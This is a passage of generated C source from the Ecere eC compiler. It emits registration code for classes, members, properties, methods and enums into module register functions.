MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char * string = QMkString(member->dataTypeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { if(__ecereProp_Type_Get_isPointerTypeSize(member->dataType)) { ListAdd(args, (exp = MkExpTypeSize(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0))))))); ListAdd(args, (exp = MkExpConstant("0xF000F000"))); } else { char string[256]; if(member->dataType->kind == 8 && member->dataType->__anon1._class && member->dataType->__anon1._class->__anon1.registered && member->dataType->__anon1._class->__anon1.registered->offset == 0 && (member->dataType->__anon1._class->__anon1.registered->type == 1 || member->dataType->__anon1._class->__anon1.registered->type == 5 || member->dataType->__anon1._class->__anon1.registered->type == 0)) { string[0] = '\0'; DeclareStruct(registerModuleExternal, member->dataType->__anon1._class->string, 0, 1); FullClassNameCat(string, member->dataType->__anon1._class->string, 0); exp = MkExpTypeSize(MkTypeName(MkListOne(MkStructOrUnion(3, MkIdentifier(string), (((void *)0)))), (((void *)0)))); } else { sprintf(string, "%d", member->dataType->size); exp = MkExpConstant(string); } ListAdd(args, exp); if(member->dataType->pointerAlignment) exp = MkExpConstant("0xF000F000"); else { sprintf(string, "%d", member->dataType->alignment); exp = MkExpConstant(string); } ListAdd(args, exp); } } switch(member->memberAccess) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier(isMember ? "eMember_AddDataMember" : "eClass_AddDataMember")), args))); ListAdd(statement->__anon1.compound.statements, stmt); lastOffset = member->offset + member->dataType->size; } else { static int memberCount = 0; struct Context * context; struct Statement * compound; char memberName[256]; sprintf(memberName, "dataMember%d", memberCount); memberCount++; curContext = statement->__anon1.compound.context; context = PushContext(); args = MkListOne(MkExpIdentifier(MkIdentifier((member->type == 1) ? "unionMember" : "structMember"))); switch(member->memberAccess) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } compound = MkCompoundStmt(MkListOne(MkDeclaration(MkListOne(MkSpecifierName("DataMember")), MkListOne(MkInitDeclarator(MkDeclaratorIdentifier(MkIdentifier(memberName)), MkInitializerAssignment(MkExpCall(MkExpIdentifier(MkIdentifier("eMember_New")), args)))))), MkList()); compound->__anon1.compound.context = context; args = MkList(); ListAdd(args, MkExpIdentifier(MkIdentifier(className))); ListAdd(args, MkExpIdentifier(MkIdentifier(memberName))); RegisterMembersAndProperties((struct __ecereNameSpace__ecere__com__Class *)member, 1, memberName, compound); if(isMember) stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eMember_AddMember")), args))); else stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddMember")), args))); ListAdd(compound->__anon1.compound.statements, stmt); PopContext(context); ListAdd(statement->__anon1.compound.statements, compound); memberCount--; lastOffset = member->offset + member->memberOffset; } } else privateMembers = 1; } if(!isMember) { struct __ecereNameSpace__ecere__com__ClassProperty * classProperty; for(prop = regClass->membersAndProperties.first; prop; prop = prop->next) { if(prop->isProperty && prop->isWatchable) { struct __ecereNameSpace__ecere__sys__OldList * args; char name[1024], nameM[1024]; strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 1); strcat(name, "_"); FullClassNameCat(name, prop->name, 0); strcpy(nameM, "__ecerePropM_"); FullClassNameCat(nameM, regClass->fullName, 1); strcat(nameM, "_"); FullClassNameCat(nameM, prop->name, 0); args = MkListOne(MkExpCondition(MkExpIdentifier(MkIdentifier(nameM)), MkListOne(MkExpIdentifier(MkIdentifier(nameM))), MkExpIdentifier(MkIdentifier(name)))); stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eProperty_Watchable")), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } for(classProperty = (struct __ecereNameSpace__ecere__com__ClassProperty *)__ecereProp___ecereNameSpace__ecere__sys__BinaryTree_Get_first(&regClass->classProperties); classProperty; classProperty = (struct __ecereNameSpace__ecere__com__ClassProperty *)__ecereProp___ecereNameSpace__ecere__sys__BTNode_Get_next(((struct __ecereNameSpace__ecere__sys__BTNode *)classProperty))) { struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); char name[1024]; char * string = QMkString(classProperty->name); ListAdd(args, MkExpIdentifier(MkIdentifier(className))); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); { char * string = QMkString(classProperty->dataTypeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } if(classProperty->Set) { strcpy(name, "__ecereClassProp_"); FullClassNameCat(name, regClass->fullName, 1); strcat(name, "_Set_"); strcat(name, classProperty->name); ListAdd(args, MkExpIdentifier(MkIdentifier(name))); } else ListAdd(args, MkExpConstant("0")); if(classProperty->Get) { strcpy(name, "__ecereClassProp_"); FullClassNameCat(name, regClass->fullName, 1); strcat(name, "_Get_"); strcat(name, classProperty->name); ListAdd(args, MkExpIdentifier(MkIdentifier(name))); } else ListAdd(args, MkExpConstant("0")); stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddClassProperty")), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } } extern struct __ecereNameSpace__ecere__com__Class * __ecereClass_Context; extern struct __ecereNameSpace__ecere__com__Class * __ecereClass_Type; extern struct __ecereNameSpace__ecere__com__Class * __ecereClass_Symbol; extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__List_TPL_ClassPropertyValue_; extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__TemplateMemberType; extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__List; extern struct __ecereNameSpace__ecere__com__Class * __ecereClass___ecereNameSpace__ecere__com__Module; struct __ecereNameSpace__ecere__com__Module { struct __ecereNameSpace__ecere__com__Instance * application; struct __ecereNameSpace__ecere__sys__OldList classes; struct __ecereNameSpace__ecere__sys__OldList defines; struct __ecereNameSpace__ecere__sys__OldList functions; struct __ecereNameSpace__ecere__sys__OldList modules; struct __ecereNameSpace__ecere__com__Instance * prev; struct __ecereNameSpace__ecere__com__Instance * next; const char * name; void * library; void * Unload; int importType; int origImportType; struct __ecereNameSpace__ecere__com__NameSpace privateNameSpace; struct __ecereNameSpace__ecere__com__NameSpace publicNameSpace; } ecere_gcc_struct; void __ecereDestructor_ClassPropertyValue(struct __ecereNameSpace__ecere__com__Instance * this) { __attribute__((unused)) struct ClassPropertyValue * __ecerePointer_ClassPropertyValue = (struct ClassPropertyValue *)(this ? (((char *)this) + __ecereClass_ClassPropertyValue->offset) : 0); { FreeIdentifier(__ecerePointer_ClassPropertyValue->id); } } void CreateRegisterModuleBody() { if(!registerModuleBody && inCompiler) { char registerName[1024], moduleName[274]; struct __ecereNameSpace__ecere__sys__OldList * specifiers; struct Declarator * declarator; struct TypeName * moduleParam; registerModuleBody = MkCompoundStmt(MkList(), MkList()); registerModuleBody->__anon1.compound.context = __extension__ ({ struct Context * __ecereInstance1 = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Context); __ecereInstance1->parent = globalContext, __ecereInstance1; }); ListAdd(registerModuleBody->__anon1.compound.declarations, MkDeclaration((specifiers = MkListOne(MkSpecifierName("ecere::com::Class"))), MkListOne(MkInitDeclarator(MkDeclaratorIdentifier(MkIdentifier("class")), (((void *)0)))))); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*specifiers), MkSpecifierExtended(MkExtDeclAttrib(MkAttrib(ATTRIB, MkListOne(MkAttribute(__ecereNameSpace__ecere__sys__CopyString("unused"), (((void *)0)))))))); specifiers = MkList(); ListAdd(specifiers, MkSpecifier(VOID)); moduleParam = MkTypeName(MkListOne(MkSpecifierName("Module")), MkDeclaratorIdentifier(MkIdentifier("module"))); __ecereNameSpace__ecere__sys__GetLastDirectory(outputFile, moduleName); __ecereNameSpace__ecere__sys__StripExtension(moduleName); FixModuleName(moduleName); sprintf(registerName, "__ecereRegisterModule_%s", moduleName); declarator = MkDeclaratorFunction(MkDeclaratorIdentifier(MkIdentifier(registerName)), MkListOne(moduleParam)); { struct FunctionDefinition * function = _MkFunction(specifiers, declarator, (((void *)0)), 0); ProcessFunctionBody(function, registerModuleBody); function->declMode = 0; if(!ast) ast = MkList(); ListAdd(ast, (registerModuleExternal = MkExternalFunction(function))); DeclareStruct(registerModuleExternal, "ecere::com::Instance", 0, 1); DeclareStruct(registerModuleExternal, "ecere::com::Module", 0, 1); } } if(!unregisterModuleBody && inCompiler) { char registerName[1024], moduleName[274]; struct __ecereNameSpace__ecere__sys__OldList * specifiers; struct Declarator * declarator; struct TypeName * moduleParam; unregisterModuleBody = MkCompoundStmt(MkList(), MkList()); unregisterModuleBody->__anon1.compound.context = __extension__ ({ struct Context * __ecereInstance1 = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Context); __ecereInstance1->parent = globalContext, __ecereInstance1; }); specifiers = MkList(); ListAdd(specifiers, MkSpecifier(VOID)); moduleParam = MkTypeName(MkListOne(MkSpecifierName("Module")), MkDeclaratorIdentifier(MkIdentifier("module"))); __ecereNameSpace__ecere__sys__GetLastDirectory(outputFile, moduleName); __ecereNameSpace__ecere__sys__StripExtension(moduleName); FixModuleName(moduleName); sprintf(registerName, "__ecereUnregisterModule_%s", moduleName); declarator = MkDeclaratorFunction(MkDeclaratorIdentifier(MkIdentifier(registerName)), MkListOne(moduleParam)); { struct FunctionDefinition * function = _MkFunction(specifiers, declarator, (((void *)0)), 0); ProcessFunctionBody(function, unregisterModuleBody); function->declMode = 0; if(!ast) ast = MkList(); ListAdd(ast, (unregisterModuleExternal = MkExternalFunction(function))); DeclareStruct(unregisterModuleExternal, "ecere::com::Instance", 0, 1); DeclareStruct(unregisterModuleExternal, "ecere::com::Module", 0, 1); } } } void __ecereCreateModuleInstances_pass1() { classPropValues = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass___ecereNameSpace__ecere__com__List_TPL_ClassPropertyValue_); __ecereNameSpace__ecere__com__eInstance_IncRef(classPropValues); } void __ecereUnregisterModule_pass1(struct __ecereNameSpace__ecere__com__Instance * module) { } static void ProcessClass(int classType, struct __ecereNameSpace__ecere__sys__OldList * definitions, struct Symbol * symbol, struct __ecereNameSpace__ecere__sys__OldList * baseSpecs, struct __ecereNameSpace__ecere__sys__OldList * enumValues, struct __ecereNameSpace__ecere__sys__OldList * defs, struct External * external, int declMode) { struct ClassDef * def; struct __ecereNameSpace__ecere__com__Class * regClass = symbol->__anon1.registered; if(regClass) { classType = regClass->type; if(classType == 4 && enumValues && (inCompiler || !buildingECERECOMModule)) { struct Enumerator * e; for(e = enumValues->first; e; e = e->next) { if(e->exp) { struct Type * destType = (destType = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Type), destType->kind = 4, destType->refCount = 1, destType); e->exp->destType = destType; parsingType = 1; ProcessExpressionType(e->exp); parsingType = 0; if(!e->exp->expType) { destType->kind = 8; destType->__anon1._class = symbol; ProcessExpressionType(e->exp); } if(e->exp->type == 0 && e->exp->expType && e->exp->__anon1.__anon1.identifier && e->exp->__anon1.__anon1.identifier->string && e->exp->expType->kind == 15) { struct __ecereNameSpace__ecere__sys__NamedLink64 * l; char * string = e->exp->__anon1.__anon1.identifier->string; for(l = e->exp->expType->__anon1.__anon1.members.first; l; l = l->next) { if(!strcmp(l->name, string)) { if(l->data) { FreeExpContents(e->exp); e->exp->type = 2; e->exp->__anon1.__anon1.constant = PrintInt64(l->data); FreeType(e->exp->expType); e->exp->expType = ProcessTypeString("int64", 0); } break; } } } else ComputeExpression(e->exp); if(e->exp->isConstant && e->exp->type == 2) { struct Operand op = GetOperand(e->exp); long long value; switch(op.kind) { case 1: value = op.type->isSigned ? (long long)op.__anon1.c : (long long)op.__anon1.uc; break; case 2: value = op.type->isSigned ? (long long)op.__anon1.s : (long long)op.__anon1.us; break; case 4: value = op.type->isSigned ? op.__anon1.i64 : (long long)op.__anon1.ui64; break; case 3: default: value = op.type->isSigned ? (long long)op.__anon1.i : (int)op.__anon1.ui; } __ecereNameSpace__ecere__com__eEnum_AddFixedValue(regClass, e->id->string, value); } else __ecereNameSpace__ecere__com__eEnum_AddValue(regClass, e->id->string); } else __ecereNameSpace__ecere__com__eEnum_AddValue(regClass, e->id->string); } { struct __ecereNameSpace__ecere__com__EnumClassData * baseData = regClass->data; struct __ecereNameSpace__ecere__sys__OldLink * deriv; for(deriv = regClass->derivatives.first; deriv; deriv = deriv->next) { struct __ecereNameSpace__ecere__com__Class * c = deriv->data; if(c && c->type == 4) { struct __ecereNameSpace__ecere__com__EnumClassData * data = c->data; data->largest = baseData->largest; } } } } if(definitions != (((void *)0))) { if(inCompiler) { for(def = definitions->first; def; def = def->next) { if(def->type == 4 && def->__anon1.propertyWatch) { struct PropertyWatch * propWatch = def->__anon1.propertyWatch; struct ClassFunction * func; char watcherName[1024]; struct Identifier * propID; struct Statement * stmt = MkExpressionStmt(MkList()); struct Declarator * decl; struct __ecereNameSpace__ecere__sys__OldList * specs; sprintf(watcherName, "__ecerePropertySelfWatcher_%d", propWatcherID++); for(propID = (*propWatch->properties).first; propID; propID = propID->next) { strcat(watcherName, "_"); strcat(watcherName, propID->string); } decl = MkDeclaratorFunction(MkDeclaratorIdentifier(MkIdentifier(watcherName)), MkListOne(MkTypeName(MkListOne(MkSpecifier(VOID)), (((void *)0))))); specs = MkList(); ListAdd(specs, MkSpecifier(STATIC)); ListAdd(specs, MkSpecifier(VOID)); func = MkClassFunction(specs, (((void *)0)), decl, (((void *)0))); ProcessClassFunctionBody(func, propWatch->compound); decl->symbol = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Symbol); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*excludedSymbols), decl->symbol); func->dontMangle = 1; propWatch->compound = (((void *)0)); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Insert(definitions, (((void *)0)), MkClassDefFunction(func)); for(propID = (*propWatch->properties).first; propID; propID = propID->next) { struct __ecereNameSpace__ecere__com__Property * prop = __ecereNameSpace__ecere__com__eClass_FindProperty(regClass, propID->string, privateModule); if(prop) { struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); ListAdd(args, MkExpIdentifier(MkIdentifier("class"))); { char * s = QMkString(propID->string); ListAdd(args, MkExpString(s)); (__ecereNameSpace__ecere__com__eSystem_Delete(s), s = 0); } ListAdd(args, MkExpIdentifier(MkIdentifier(watcherName))); ListAdd(stmt->__anon1.expressions, MkExpCall(MkExpIdentifier(MkIdentifier("eProperty_SelfWatch")), args)); } else Compiler_Error(__ecereNameSpace__ecere__GetTranslatedString("ec", "Property %s not found in class %s\n", (((void *)0))), propID->string, regClass->fullName); } FreePropertyWatch(def->__anon1.propertyWatch); def->__anon1.propertyWatch = (struct PropertyWatch *)stmt; } } } for(def = definitions->first; def; def = def->next) { if(def->type == 0) { ProcessClassFunction(regClass, def->__anon1.function, defs, external->prev, declMode == 3); } } } if(inCompiler && symbol->mustRegister && regClass) { struct Statement * stmt; struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); struct __ecereNameSpace__ecere__com__Method * method; struct Expression * exp; const char * registerFunction = (((void *)0)); int inheritanceAccess = 1; CreateRegisterModuleBody(); curExternal = registerModuleExternal; switch(regClass->type) { case 1: ListAdd(args, MkExpIdentifier(MkIdentifier("structClass"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("bitClass"))); break; case 4: ListAdd(args, MkExpIdentifier(MkIdentifier("enumClass"))); break; case 5: ListAdd(args, MkExpIdentifier(MkIdentifier("noHeadClass"))); break; case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("unitClass"))); break; case 0: ListAdd(args, MkExpIdentifier(MkIdentifier("normalClass"))); break; } { char nameSpace[1024] = ""; char className[1024] = ""; char * string; GetNameSpaceString(regClass->nameSpace, nameSpace); if(declMode == 3) { __ecereNameSpace__ecere__sys__GetLastDirectory(sourceFile, className); __ecereNameSpace__ecere__sys__ChangeCh(className, '.', '_'); strcat(className, "}"); } strcat(className, nameSpace); strcat(className, regClass->name); string = QMkString(className); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } if(baseSpecs != (((void *)0))) { struct Type * baseType = ProcessType(baseSpecs, (((void *)0))); if(baseType->kind != 9 && baseType->kind != 10) { char baseName[1024] = ""; char * string; if(baseType->kind == 8 && baseType->__anon1._class && baseType->__anon1._class->isStatic) { __ecereNameSpace__ecere__sys__GetLastDirectory(sourceFile, baseName); __ecereNameSpace__ecere__sys__ChangeCh(baseName, '.', '_'); strcat(baseName, "}"); strcat(baseName, baseType->__anon1._class->string); } else PrintType(baseType, baseName, 0, 1); string = QMkString(baseName); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } else ListAdd(args, MkExpConstant("0")); FreeType(baseType); if(((struct Specifier *)baseSpecs->first)->type == 0 && ((struct Specifier *)baseSpecs->first)->__anon1.specifier == PRIVATE) inheritanceAccess = 2; } else ListAdd(args, MkExpConstant("0")); if(regClass->type == 1 || regClass->type == 0 || regClass->type == 5) { struct __ecereNameSpace__ecere__com__DataMember * member = (((void *)0)); { struct __ecereNameSpace__ecere__com__Class * base; for(base = regClass->base; base && base->type != 1000; base = base->next) { for(member = base->membersAndProperties.first; member; member = member->next) if(!member->isProperty) break; if(member) break; } } if(regClass->type == 1 && symbol->declaredStruct && member) { char baseStructName[1024]; baseStructName[0] = 0; strcpy(baseStructName, (regClass->base->templateClass ? regClass->base->templateClass : regClass->base)->fullName); ListAdd(args, MkExpOp(MkExpTypeSize(MkTypeName(MkListOne(MkStructOrUnion(3, MkIdentifier(symbol->structName), (((void *)0)))), (((void *)0)))), '-', MkExpTypeSize(MkTypeName(MkListOne(MkStructOrUnion(3, MkIdentifier(baseStructName), (((void *)0)))), (((void *)0)))))); } else ListAdd(args, symbol->declaredStruct ? MkExpTypeSize(MkTypeName(MkListOne(MkStructOrUnion(3, MkIdentifier(symbol->structName), (((void *)0)))), (((void *)0)))) : MkExpConstant("0")); } else { ListAdd(args, MkExpConstant("0")); } { char classDataStructName[1024]; strcpy(classDataStructName, "__ecereClassData_"); FullClassNameCat(classDataStructName, symbol->string, 0); ListAdd(args, symbol->classData ? MkExpTypeSize(MkTypeName(MkListOne(MkStructOrUnion(3, MkIdentifier(classDataStructName), (((void *)0)))), (((void *)0)))) : MkExpConstant("0")); } if(regClass->type == 0 || regClass->type == 5) { ListAdd(args, MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), symbol->needConstructor ? MkExpIdentifier(MkIdentifier(symbol->constructorName)) : MkExpConstant("0"))); ListAdd(args, MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), symbol->needDestructor ? MkExpIdentifier(MkIdentifier(symbol->destructorName)) : MkExpConstant("0"))); } else { ListAdd(args, MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), MkExpConstant("0"))); ListAdd(args, MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), MkExpConstant("0"))); } ListAdd(args, MkExpIdentifier(MkIdentifier("module"))); switch(declMode) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier(buildingECERECOMModule ? "baseSystemAccess" : "publicAccess"))); break; } switch(inheritanceAccess) { case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } registerFunction = "eSystem_RegisterClass"; stmt = MkExpressionStmt(MkListOne(MkExpOp(MkExpIdentifier(MkIdentifier("class")), '=', MkExpCall((exp = MkExpIdentifier(MkIdentifier(registerFunction))), args)))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); stmt = MkIfStmt(MkListOne(MkExpOp(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier("module")), MkIdentifier("application")), EQ_OP, MkExpMember(MkExpIdentifier(MkIdentifier("__thisModule")), MkIdentifier("application"))), AND_OP, MkExpIdentifier(MkIdentifier("class")))), MkExpressionStmt(MkListOne(MkExpOp(MkExpIdentifier(MkIdentifier(symbol->className)), '=', MkExpIdentifier(MkIdentifier("class"))))), (((void *)0))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); if(external && external->type == 2 && external->__anon1._class->deleteWatchable) { args = MkListOne(MkExpIdentifier(MkIdentifier("class"))); stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_DestructionWatchable")), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } if(regClass->base) { struct __ecereNameSpace__ecere__com__Class * base = regClass->base; int c; for(c = 0; c < base->vTblSize; c++) { struct Symbol * method = (struct Symbol *)regClass->_vTbl[c]; if((void *)method != DummyMethod && base->_vTbl[c] != (void *)method && method->__anon2.__anon3.methodExternal) { struct External * external = method->__anon2.__anon3.methodExternal; struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); struct Identifier * id = external->__anon1.function ? GetDeclId(external->__anon1.function->declarator) : (((void *)0)); { struct External * e = method->__anon2.__anon3.methodExternal ? method->__anon2.__anon3.methodExternal : method->__anon2.__anon3.methodCodeExternal; __ecereMethod_External_CreateUniqueEdge(registerModuleExternal, e, e->type == 0); } ListAdd(args, MkExpIdentifier(MkIdentifier("class"))); { char * string = QMkString(method->__anon1.method->name); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } ListAdd(args, MkExpConstant("0")); ListAdd(args, (exp = MkExpIdentifier(MkIdentifier(id->string)))); ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); exp->expType = __extension__ ({ struct Type * __ecereInstance1 = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Type); __ecereInstance1->refCount = 1, __ecereInstance1; }); stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddMethod")), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } } { int c; for(c = regClass->base ? regClass->base->vTblSize : 0; c < regClass->vTblSize; c++) { for(method = (struct __ecereNameSpace__ecere__com__Method *)__ecereProp___ecereNameSpace__ecere__sys__BinaryTree_Get_first(&regClass->methods); method; method = (struct __ecereNameSpace__ecere__com__Method *)__ecereProp___ecereNameSpace__ecere__sys__BTNode_Get_next(((struct __ecereNameSpace__ecere__sys__BTNode *)method))) { if(method->type == 1 && method->_class == regClass && method->vid == c) { char name[1024]; struct Expression * exp; struct External * external = method->symbol ? ((struct Symbol *)method->symbol)->__anon2.__anon3.methodCodeExternal : (((void *)0)); struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); struct Identifier * id = (external && external->__anon1.function) ? GetDeclId(external->__anon1.function->declarator) : (((void *)0)); ListAdd(args, MkExpIdentifier(MkIdentifier("class"))); { char * string = QMkString(method->name); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char * string = QMkString(method->dataTypeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } if(id && external->__anon1.function->body) { ListAdd(args, (exp = MkExpIdentifier(MkIdentifier(id->string)))); exp->expType = __extension__ ({ struct Type * __ecereInstance1 = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Type); __ecereInstance1->refCount = 1, __ecereInstance1; }); } else { ListAdd(args, (exp = MkExpConstant("0"))); } switch(method->memberAccess) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } strcpy(name, "__ecereVMethodID_"); FullClassNameCat(name, method->_class->fullName, 0); strcat(name, "_"); strcat(name, method->name); exp = MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddVirtualMethod")), args); stmt = MkExpressionStmt(MkListOne(exp)); if(external) __ecereMethod_External_CreateUniqueEdge(registerModuleExternal, external, external->type == 0); DeclareMethod(curExternal, method, name); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } } } for(method = (struct __ecereNameSpace__ecere__com__Method *)__ecereProp___ecereNameSpace__ecere__sys__BinaryTree_Get_first(&regClass->methods); method; method = (struct __ecereNameSpace__ecere__com__Method *)__ecereProp___ecereNameSpace__ecere__sys__BTNode_Get_next(((struct __ecereNameSpace__ecere__sys__BTNode *)method))) { if(method->type == 1 && method->_class == regClass) ; else if(method->memberAccess == 1 || !method->dataTypeString) { struct External * external = method->symbol ? ((struct Symbol *)method->symbol)->__anon2.__anon3.methodCodeExternal : (((void *)0)); struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); struct Identifier * id = (external && external->__anon1.function) ? GetDeclId(external->__anon1.function->declarator) : (((void *)0)); ListAdd(args, MkExpIdentifier(MkIdentifier("class"))); { char * string = QMkString(method->name); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char * string = QMkString(method->dataTypeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } if(id && external->__anon1.function->body) { ListAdd(args, (exp = MkExpIdentifier(MkIdentifier(id->string)))); exp->expType = __extension__ ({ struct Type * __ecereInstance1 = __ecereNameSpace__ecere__com__eInstance_New(__ecereClass_Type); __ecereInstance1->refCount = 1, __ecereInstance1; }); } else { ListAdd(args, (exp = MkExpConstant("0"))); } switch(method->memberAccess) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddMethod")), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); if(external) __ecereMethod_External_CreateUniqueEdge(registerModuleExternal, external, external->type == 0); } } RegisterMembersAndProperties(regClass, 0, "class", registerModuleBody); if(classType == 4) { struct __ecereNameSpace__ecere__sys__NamedLink64 * value; struct __ecereNameSpace__ecere__com__Class * enumClass = __ecereNameSpace__ecere__com__eSystem_FindClass(privateModule, "enum"); struct __ecereNameSpace__ecere__com__EnumClassData * e = (regClass ? ((void *)(((char *)regClass->data) + enumClass->offsetClass)) : (((void *)0))); for(value = e->values.first; value; value = value->next) { struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); ListAdd(args, MkExpIdentifier(MkIdentifier("class"))); { char * string = QMkString(value->name); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char * temp; if(regClass->dataTypeString && !strcmp(regClass->dataTypeString, "uint64")) temp = PrintUInt64(value->data); else temp = PrintInt64(value->data); ListAdd(args, MkExpConstant(temp)); (__ecereNameSpace__ecere__com__eSystem_Delete(temp), temp = 0); } stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eEnum_AddFixedValue")), args))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } if(symbol->templateParams) { struct TemplateParameter * param; for(param = (*symbol->templateParams).first; param; param = param->next) { struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); ListAdd(args, MkExpIdentifier(MkIdentifier("class"))); { char * string = QMkString(param->identifier->string); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } ListAdd(args, MkExpIdentifier(MkIdentifier((param->type == 0) ? "type" : ((param->type == 1) ? "identifier" : "expression")))); switch(param->type) { case 0: case 2: { char * typeString = param->__anon1.dataType ? StringFromSpecDecl(param->__anon1.dataType->specifiers, param->__anon1.dataType->decl) : (((void *)0)); char * string = QMkString(typeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(typeString), typeString = 0); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); break; } case 1: { char memberTypeString[132] = "TemplateMemberType::"; unsigned int needClass = 1; (__extension__ ({ const char * (* __internal_VirtualMethod)(struct __ecereNameSpace__ecere__com__Class * , const void * , char * tempString, void * fieldData, unsigned int * needClass); __internal_VirtualMethod = ((const char * (*)(struct __ecereNameSpace__ecere__com__Class *, const void *, char * tempString, void * fieldData, unsigned int * needClass))__ecereClass___ecereNameSpace__ecere__com__TemplateMemberType->_vTbl[__ecereVMethodID_class_OnGetString]); __internal_VirtualMethod ? __internal_VirtualMethod(__ecereClass___ecereNameSpace__ecere__com__TemplateMemberType, (void 